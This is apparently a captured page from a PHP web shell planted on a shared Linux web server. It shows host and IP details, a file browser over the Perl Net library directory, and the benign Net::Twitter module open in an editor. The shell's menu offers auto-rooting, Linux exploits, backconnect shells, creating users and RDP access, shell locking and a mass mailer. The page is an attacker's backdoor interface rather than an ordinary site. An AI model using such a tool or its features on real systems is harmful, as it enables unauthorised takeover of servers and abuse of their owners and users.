Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
Net /
[ HOME SHELL ]
Name
Size
Permission
Action
DNS
[ DIR ]
drwxr-xr-x
Domain
[ DIR ]
drwxr-xr-x
HTTP
[ DIR ]
drwxr-xr-x
HTTPS
[ DIR ]
drwxr-xr-x
IMAP
[ DIR ]
drwxr-xr-x
Jabber
[ DIR ]
drwxr-xr-x
LDAP
[ DIR ]
drwxr-xr-x
OAuth
[ DIR ]
drwxr-xr-x
OpenID
[ DIR ]
drwxr-xr-x
SMTP
[ DIR ]
drwxr-xr-x
Server
[ DIR ]
drwxr-xr-x
Twitter
[ DIR ]
drwxr-xr-x
XMPP
[ DIR ]
drwxr-xr-x
CIDR.pm
24.06
KB
-rw-r--r--
DNS.pm
15.87
KB
-rw-r--r--
HTTP.pm
10.02
KB
-rw-r--r--
HTTPS.pm
3.45
KB
-rw-r--r--
IP.pm
72.53
KB
-rw-r--r--
Identica.pm
3.46
KB
-rw-r--r--
Jabber.pm
5.85
KB
-rw-r--r--
LDAP.pm
28.08
KB
-rw-r--r--
LDAP.pod
31.25
KB
-rw-r--r--
LDAPI.pm
1.59
KB
-rw-r--r--
LDAPS.pm
1.82
KB
-rw-r--r--
OAuth.pm
14.42
KB
-rw-r--r--
SMPP.pm
149.31
KB
-rw-r--r--
SSH.pm
8.11
KB
-rw-r--r--
Server.pm
37.97
KB
-rw-r--r--
Server.pod
63.88
KB
-rw-r--r--
Telnet.pm
169.25
KB
-rw-r--r--
Twitter.pm
4.29
KB
-rw-r--r--
Twitter.pod
92.36
KB
-rw-r--r--
XMPP.pm
11.64
KB
-rw-r--r--
XWhois.pm
37.76
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Twitter.pm
package Net::Twitter; $Net::Twitter::VERSION = '4.01043'; use Moose; use Carp::Clan qw/^(?:Net::Twitter|Moose|Class::MOP)/; use JSON::MaybeXS; use Net::Twitter::Core; use Digest::SHA qw/sha1_hex/; use Class::Load (); use namespace::autoclean; has '_trait_namespace' => ( Moose->VERSION >= '0.85' ? (is => 'bare') : (), default => 'Net::Twitter::Role', ); # See Net/Twitter.pod for documentation, Net/Twitter/Core.pm for implementation. # # For transparent back compat, Net::Twitter->new() creates a Net::Twitter::Core # with the 'Legacy' trait. # transform_trait and resolve_traits stolen from MooseX::Traits sub _transform_trait { my ($class, $name) = @_; my $namespace = $class->meta->find_attribute_by_name('_trait_namespace'); my $base; if($namespace->has_default){ $base = $namespace->default; if(ref $base eq 'CODE'){ $base = $base->(); } } return $name unless $base; return $1 if $name =~ /^[+](.+)$/; return "$base\::$name"; } sub _resolve_traits { my ($class, @traits) = @_; return map { unless ( ref ) { $_ = $class->_transform_trait($_); Class::Load::load_class($_); } $_; } @traits; } sub _isa { my $self = shift; my $isa = shift; return $isa eq __PACKAGE__ || $self->SUPER::isa($isa) }; sub _create_anon_class { my ($superclasses, $traits, $immutable, $package) = @_; # Do we already have a meta class? return $package->meta if $package->can('meta'); my $meta; $meta = Net::Twitter::Core->meta->create_anon_class( superclasses => $superclasses, roles => $traits, methods => { meta => sub { $meta }, isa => \&_isa }, cache => 0, package => $package, ); $meta->make_immutable(inline_constructor => $immutable); return $meta; } { my $serial_number = 0; my %serial_for_params; sub _name_for_anon_class { my @t = @{$_[0]}; my @comps; while ( @t ) { my $t = shift @t; if ( ref $t[0] eq 'HASH' ) { my $params = shift @t; my $sig = sha1_hex(JSON->new->utf8->encode($params)); my $sn = $serial_for_params{$sig} ||= ++$serial_number; $t .= "_$sn"; } $t =~ s/(?:::|\W)/_/g; push @comps, $t; } my $ver = $Net::Twitter::Core::VERSION || 1; $ver =~ s/\W/_/g; return __PACKAGE__ . "_v${ver}_" . join '__', 'with', sort @comps; } } sub new { my $class = shift; croak '"new" is not an instance method' if ref $class; my %args = @_ == 1 && ref $_[0] eq 'HASH' ? %{$_[0]} : @_; my $traits = delete $args{traits}; if ( defined (my $legacy = delete $args{legacy}) ) { croak "Options 'legacy' and 'traits' are mutually exclusive. Use only one." if $traits; $traits = [ $legacy ? 'Legacy' : 'API::REST' ]; } $traits ||= [ qw/Legacy/ ]; # ensure we have the OAuth trait if we have a consumer key (unless we've # specified AppAuth) if ( $args{consumer_key} && !grep $_ eq 'AppAuth', @$traits ) { $traits = [ (grep $_ ne 'OAuth', @$traits), 'OAuth' ]; } # create a unique name for the created class based on trait names and parameters my $anon_class_name = _name_for_anon_class($traits); $traits = [ $class->_resolve_traits(@$traits) ]; my $superclasses = [ 'Net::Twitter::Core' ]; my $meta = _create_anon_class($superclasses, $traits, 1, $anon_class_name); # create a Net::Twitter::Core object with roles applied my $new = $meta->name->new(%args); # rebless it to include a superclass, if we're being subclassed if ( $class ne __PACKAGE__ ) { unshift @$superclasses, $class; my $final_meta = _create_anon_class( $superclasses, $traits, 0, join '::', $class, $anon_class_name ); bless $new, $final_meta->name; } return $new; } __PACKAGE__->meta->make_immutable(inline_constructor => 0); 1; __END__ =head1 NAME Net::Twitter - A perl interface to the Twitter API =head1 VERSION version 4.01043 =head1 DESCRIPTION This module has been superseded by L<Twitter::API>. Please update your applications and/or downstream dependent modules as soon as possible.
Close